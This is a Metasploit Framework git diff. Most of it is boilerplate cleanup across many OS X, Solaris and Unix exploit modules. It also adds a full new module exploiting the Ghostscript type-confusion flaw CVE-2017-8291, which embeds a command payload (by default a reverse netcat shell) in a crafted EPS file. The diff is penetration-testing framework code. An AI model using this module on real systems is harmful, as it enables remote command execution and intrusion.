@@ class MetasploitModule < Msf::Exploit::Remote OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']), OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]), OptPort.new('HTTPPORT', [true, "The HTTP server port", 80]) - ], self.class ) + ]) end diff --git a/modules/exploits/osx/browser/safari_metadata_archive.rb b/modules/exploits/osx/browser/safari_metadata_archive.rb index 0c1d0842ce..eb3713427a 100644 --- a/modules/exploits/osx/browser/safari_metadata_archive.rb +++ b/modules/exploits/osx/browser/safari_metadata_archive.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb b/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb index 642b354d39..ee612d2c0a 100644 --- a/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb +++ b/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('CONTENT', [false, "Content to display in browser", "This page has failed to load. Press cmd-R to refresh."]), OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) - ], self.class) + ]) end def on_request_exploit(cli, request, profile) diff --git a/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb b/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb index 8af9d76beb..6cc2d130b3 100644 --- a/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb +++ b/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -76,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Remote OptBool.new('CONFUSE', [false, "Pops up a million Terminal prompts to confuse the user", false]), OptString.new('CONTENT', [false, "Content to display in browser", "Redirecting, please wait..."]), OptPath.new('SIGNED_APP', [false, "A signed .app to drop, to workaround OS 10.8+ settings"]) - ], self.class) + ]) end def on_request_exploit(cli, request, profile) diff --git a/modules/exploits/osx/browser/software_update.rb b/modules/exploits/osx/browser/software_update.rb index d4db34dba8..c61c8096c5 100644 --- a/modules/exploits/osx/browser/software_update.rb +++ b/modules/exploits/osx/browser/software_update.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]), OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ]) - ], self.class) + ]) end # Encode some characters using character entity references and escape any diff --git a/modules/exploits/osx/email/mailapp_image_exec.rb b/modules/exploits/osx/email/mailapp_image_exec.rb index d98f9e22b3..b4020ccce2 100644 --- a/modules/exploits/osx/email/mailapp_image_exec.rb +++ b/modules/exploits/osx/email/mailapp_image_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking diff --git a/modules/exploits/osx/ftp/webstar_ftp_user.rb b/modules/exploits/osx/ftp/webstar_ftp_user.rb index 651d321fc0..ff1a2ed9e5 100644 --- a/modules/exploits/osx/ftp/webstar_ftp_user.rb +++ b/modules/exploits/osx/ftp/webstar_ftp_user.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/osx/http/evocam_webserver.rb b/modules/exploits/osx/http/evocam_webserver.rb index 26e58fd9ce..e45efc2d82 100644 --- a/modules/exploits/osx/http/evocam_webserver.rb +++ b/modules/exploits/osx/http/evocam_webserver.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -69,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - ], self.class) + ]) end def make_exec_payload_from_heap_stub() diff --git a/modules/exploits/osx/local/dyld_print_to_file_root.rb b/modules/exploits/osx/local/dyld_print_to_file_root.rb index 18ed3f72ba..275ce832e9 100644 --- a/modules/exploits/osx/local/dyld_print_to_file_root.rb +++ b/modules/exploits/osx/local/dyld_print_to_file_root.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking diff --git a/modules/exploits/osx/local/iokit_keyboard_root.rb b/modules/exploits/osx/local/iokit_keyboard_root.rb index 89bba093a7..06d2e81681 100644 --- a/modules/exploits/osx/local/iokit_keyboard_root.rb +++ b/modules/exploits/osx/local/iokit_keyboard_root.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking # Can cause kernel crash diff --git a/modules/exploits/osx/local/nfs_mount_root.rb b/modules/exploits/osx/local/nfs_mount_root.rb index 99b13515ca..47c2f2878a 100644 --- a/modules/exploits/osx/local/nfs_mount_root.rb +++ b/modules/exploits/osx/local/nfs_mount_root.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb index 33de13001d..f6dd4ffebe 100644 --- a/modules/exploits/osx/local/persistence.rb +++ b/modules/exploits/osx/local/persistence.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/exe' require 'shellwords' @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Local OptBool.new('RUN_NOW', [false, 'Run the installed payload immediately.', false] ) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/osx/local/rootpipe.rb b/modules/exploits/osx/local/rootpipe.rb index 1da18e116c..de800b82ed 100644 --- a/modules/exploits/osx/local/rootpipe.rb +++ b/modules/exploits/osx/local/rootpipe.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking diff --git a/modules/exploits/osx/local/rootpipe_entitlements.rb b/modules/exploits/osx/local/rootpipe_entitlements.rb index eb14511974..38c82b0435 100644 --- a/modules/exploits/osx/local/rootpipe_entitlements.rb +++ b/modules/exploits/osx/local/rootpipe_entitlements.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking diff --git a/modules/exploits/osx/local/rsh_libmalloc.rb b/modules/exploits/osx/local/rsh_libmalloc.rb index ad58236ab3..b4d43b3bc1 100644 --- a/modules/exploits/osx/local/rsh_libmalloc.rb +++ b/modules/exploits/osx/local/rsh_libmalloc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb index d4969cd478..d56cd2124c 100644 --- a/modules/exploits/osx/local/setuid_tunnelblick.rb +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Local # These are not OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ]) - ], self.class) + ]) end def check diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb index dddb7b82a0..1a71581895 100644 --- a/modules/exploits/osx/local/setuid_viscosity.rb +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Local # These are not OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ]) - ], self.class) + ]) end def check diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 74a6cc8534..4ebe82d30e 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/exe' require 'shellwords' @@ -95,7 +93,7 @@ class MetasploitModule < Msf::Exploit::Local 'the executable will be dropped on the client machine.', '/tmp/./'] ), - ], self.class) + ]) end # ensure target is vulnerable by checking sudo vn and checking diff --git a/modules/exploits/osx/local/tpwn.rb b/modules/exploits/osx/local/tpwn.rb index 0857059626..e6099411b9 100644 --- a/modules/exploits/osx/local/tpwn.rb +++ b/modules/exploits/osx/local/tpwn.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking diff --git a/modules/exploits/osx/local/vmware_bash_function_root.rb b/modules/exploits/osx/local/vmware_bash_function_root.rb index bac1d6abe8..8c5980b404 100644 --- a/modules/exploits/osx/local/vmware_bash_function_root.rb +++ b/modules/exploits/osx/local/vmware_bash_function_root.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking @@ -53,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Local register_options([ OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']), - ], self.class) + ]) end def check diff --git a/modules/exploits/osx/mdns/upnp_location.rb b/modules/exploits/osx/mdns/upnp_location.rb index 99667e4a44..6b3b9ccc6a 100644 --- a/modules/exploits/osx/mdns/upnp_location.rb +++ b/modules/exploits/osx/mdns/upnp_location.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::LHOST(), OptPort.new('SRVPORT', [ true, "The UPNP server port to listen on", 1900 ]) - ], self.class) + ]) @mutex = Mutex.new() @found_upnp_port = false diff --git a/modules/exploits/osx/misc/ufo_ai.rb b/modules/exploits/osx/misc/ufo_ai.rb index 35011f1d02..0098eb1757 100644 --- a/modules/exploits/osx/misc/ufo_ai.rb +++ b/modules/exploits/osx/misc/ufo_ai.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]), - ], self.class) + ]) end diff --git a/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb b/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb index 3dfedafd3d..120d40173e 100644 --- a/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb +++ b/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/osx/samba/lsa_transnames_heap.rb b/modules/exploits/osx/samba/lsa_transnames_heap.rb index 03bc2152dd..9bc1cec148 100644 --- a/modules/exploits/osx/samba/lsa_transnames_heap.rb +++ b/modules/exploits/osx/samba/lsa_transnames_heap.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -92,7 +90,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']), - ], self.class) + ]) end diff --git a/modules/exploits/osx/samba/trans2open.rb b/modules/exploits/osx/samba/trans2open.rb index 7e0e123d0a..b9a90f8216 100644 --- a/modules/exploits/osx/samba/trans2open.rb +++ b/modules/exploits/osx/samba/trans2open.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(139) - ], self.class) + ]) end # Need to perform target detection diff --git a/modules/exploits/solaris/dtspcd/heap_noir.rb b/modules/exploits/solaris/dtspcd/heap_noir.rb index f65d028141..bcf9a0fa42 100644 --- a/modules/exploits/solaris/dtspcd/heap_noir.rb +++ b/modules/exploits/solaris/dtspcd/heap_noir.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(6112) - ], self.class) + ]) end diff --git a/modules/exploits/solaris/lpd/sendmail_exec.rb b/modules/exploits/solaris/lpd/sendmail_exec.rb index d7739db4ca..74b1602f15 100644 --- a/modules/exploits/solaris/lpd/sendmail_exec.rb +++ b/modules/exploits/solaris/lpd/sendmail_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(515) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/solaris/samba/lsa_transnames_heap.rb b/modules/exploits/solaris/samba/lsa_transnames_heap.rb index 09b25d9077..5be5800d91 100644 --- a/modules/exploits/solaris/samba/lsa_transnames_heap.rb +++ b/modules/exploits/solaris/samba/lsa_transnames_heap.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -91,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']), - ], self.class) + ]) end diff --git a/modules/exploits/solaris/samba/trans2open.rb b/modules/exploits/solaris/samba/trans2open.rb index 3623fcbd90..97b25fcd9d 100644 --- a/modules/exploits/solaris/samba/trans2open.rb +++ b/modules/exploits/solaris/samba/trans2open.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -74,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(139) - ], self.class) + ]) end def brute_exploit(addrs) diff --git a/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb b/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb index 9ebc7d42e6..5e369c2206 100644 --- a/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb +++ b/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/solaris/sunrpc/sadmind_exec.rb b/modules/exploits/solaris/sunrpc/sadmind_exec.rb index 3557828c07..496aec53db 100644 --- a/modules/exploits/solaris/sunrpc/sadmind_exec.rb +++ b/modules/exploits/solaris/sunrpc/sadmind_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/solaris/sunrpc/ypupdated_exec.rb b/modules/exploits/solaris/sunrpc/ypupdated_exec.rb index 5053c21189..d0d50126d8 100644 --- a/modules/exploits/solaris/sunrpc/ypupdated_exec.rb +++ b/modules/exploits/solaris/sunrpc/ypupdated_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/solaris/telnet/fuser.rb b/modules/exploits/solaris/telnet/fuser.rb index 5fde51c927..e4cd547732 100644 --- a/modules/exploits/solaris/telnet/fuser.rb +++ b/modules/exploits/solaris/telnet/fuser.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(23), OptString.new('USER', [ true, "The username to use", "bin" ]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/solaris/telnet/ttyprompt.rb b/modules/exploits/solaris/telnet/ttyprompt.rb index 6672291ed6..dab50ec3e8 100644 --- a/modules/exploits/solaris/telnet/ttyprompt.rb +++ b/modules/exploits/solaris/telnet/ttyprompt.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(23), OptString.new('USER', [ true, "The username to use", "bin" ]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/dhcp/bash_environment.rb b/modules/exploits/unix/dhcp/bash_environment.rb index ee3447c380..e6ec8d4d84 100644 --- a/modules/exploits/unix/dhcp/bash_environment.rb +++ b/modules/exploits/unix/dhcp/bash_environment.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/dhcp' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/unix/fileformat/ghostscript_type_confusion.rb b/modules/exploits/unix/fileformat/ghostscript_type_confusion.rb new file mode 100644 index 0000000000..2e586bb999 --- /dev/null +++ b/modules/exploits/unix/fileformat/ghostscript_type_confusion.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit + + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ghostscript Type Confusion Arbitrary Command Execution', + 'Description' => %q{ + This module exploits a type confusion vulnerability in Ghostscript that can + be exploited to obtain arbitrary command execution. This vulnerability affects + Ghostscript version 9.21 and earlier and can be exploited through libraries + such as ImageMagick and Pillow. + }, + 'Author' => [ + 'Atlassian Security Team', # Vulnerability discovery + 'hdm' # Metasploit module + ], + 'References' => [ + %w{CVE 2017-8291}, + %w{URL https://bugs.ghostscript.com/show_bug.cgi?id=697808}, + %w{URL http://seclists.org/oss-sec/2017/q2/148}, + %w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d}, + %w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3} + ], + 'DisclosureDate' => 'Apr 27 2017', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => false, + 'Payload' => { + 'BadChars' => "\x22\x27\x5c)(", # ", ', \, (, and ) + 'Compat' => { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic netcat bash-tcp' + } + }, + 'Targets' => [ + ['EPS file', template: 'msf.eps'] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_netcat', + 'LHOST' => Rex::Socket.source_address, + 'DisablePayloadHandler' => false, + 'WfsDelay' => 9001 + } + )) + + register_options([ + OptString.new('FILENAME', [true, 'Output file', 'msf.eps']) + ]) + end + + # Example usage from the bug tracker: + # $ gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f exploit2.eps + + def exploit + file_create(template.sub('echo vulnerable > /dev/tty', payload.encoded)) + end + + def template + ::File.read(File.join( + Msf::Config.data_directory, 'exploits', 'CVE-2017-8291', + target[:template] + )) + end + +end diff --git a/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb b/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb index 588bab550e..cf490c8b5c 100644 --- a/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb +++ b/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb index 8fabe4bf78..0e7853789d 100644 --- a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb +++ b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'Base path to the website', '/']), OptString.new('TMPPATH', [true, 'Absolute writable path', '/tmp']), OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www']) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb b/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb index 49de9d25e1..6cc6bc91ce 100644 --- a/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb +++ b/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jul 3 2011', 'DefaultTarget' => 0)) - register_options([ Opt::RPORT(21) ], self.class) + register_options([ Opt::RPORT(21) ]) end def exploit diff --git a/modules/exploits/unix/http/contentkeeperweb_mimencode.rb b/modules/exploits/unix/http/contentkeeperweb_mimencode.rb index 91eccda718..073e781971 100644 --- a/modules/exploits/unix/http/contentkeeperweb_mimencode.rb +++ b/modules/exploits/unix/http/contentkeeperweb_mimencode.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(80), OptString.new('OVERWRITE', [ true, "The target file to upload our payload (spamkeeper.dat, bak.txt, formdate.pl etc)", 'spamkeeper.dat']), OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]), - ],self.class) + ]) end def check diff --git a/modules/exploits/unix/http/ctek_skyrouter.rb b/modules/exploits/unix/http/ctek_skyrouter.rb index 746a77a401..695d9ff127 100644 --- a/modules/exploits/unix/http/ctek_skyrouter.rb +++ b/modules/exploits/unix/http/ctek_skyrouter.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/unix/http/dell_kace_k1000_upload.rb b/modules/exploits/unix/http/dell_kace_k1000_upload.rb index b5780c1118..b053549692 100644 --- a/modules/exploits/unix/http/dell_kace_k1000_upload.rb +++ b/modules/exploits/unix/http/dell_kace_k1000_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/http/freepbx_callmenum.rb b/modules/exploits/unix/http/freepbx_callmenum.rb index 2c1e3a00a7..e09a280ec2 100644 --- a/modules/exploits/unix/http/freepbx_callmenum.rb +++ b/modules/exploits/unix/http/freepbx_callmenum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/http/lifesize_room.rb b/modules/exploits/unix/http/lifesize_room.rb index f149a66c21..92960402d1 100644 --- a/modules/exploits/unix/http/lifesize_room.rb +++ b/modules/exploits/unix/http/lifesize_room.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/http/twiki_debug_plugins.rb b/modules/exploits/unix/http/twiki_debug_plugins.rb index 78c51d98f0..3efc2b65a7 100644 --- a/modules/exploits/unix/http/twiki_debug_plugins.rb +++ b/modules/exploits/unix/http/twiki_debug_plugins.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]), OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin']) - ], self.class) + ]) end diff --git a/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb index 52535cb45d..88aefdf2dd 100644 --- a/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb +++ b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb b/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb index 49205040b0..883d688ac7 100644 --- a/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb +++ b/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(6667) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/local/netbsd_mail_local.rb b/modules/exploits/unix/local/netbsd_mail_local.rb index 0be565ad2c..026c1f6708 100644 --- a/modules/exploits/unix/local/netbsd_mail_local.rb +++ b/modules/exploits/unix/local/netbsd_mail_local.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require "msf/core" - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Local OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/local/setuid_nmap.rb b/modules/exploits/unix/local/setuid_nmap.rb index fb4c775800..8ee0aefb50 100644 --- a/modules/exploits/unix/local/setuid_nmap.rb +++ b/modules/exploits/unix/local/setuid_nmap.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/exe' @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Local OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), OptString.new("Nmap", [ true, "Path to setuid nmap executable", "/usr/bin/nmap" ]), OptString.new("ExtraArgs", [ false, "Extra arguments to pass to Nmap (e.g. --datadir)", "" ]), - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/misc/distcc_exec.rb b/modules/exploits/unix/misc/distcc_exec.rb index c46bbf9295..fff3cf141c 100644 --- a/modules/exploits/unix/misc/distcc_exec.rb +++ b/modules/exploits/unix/misc/distcc_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(3632) - ], self.class) + 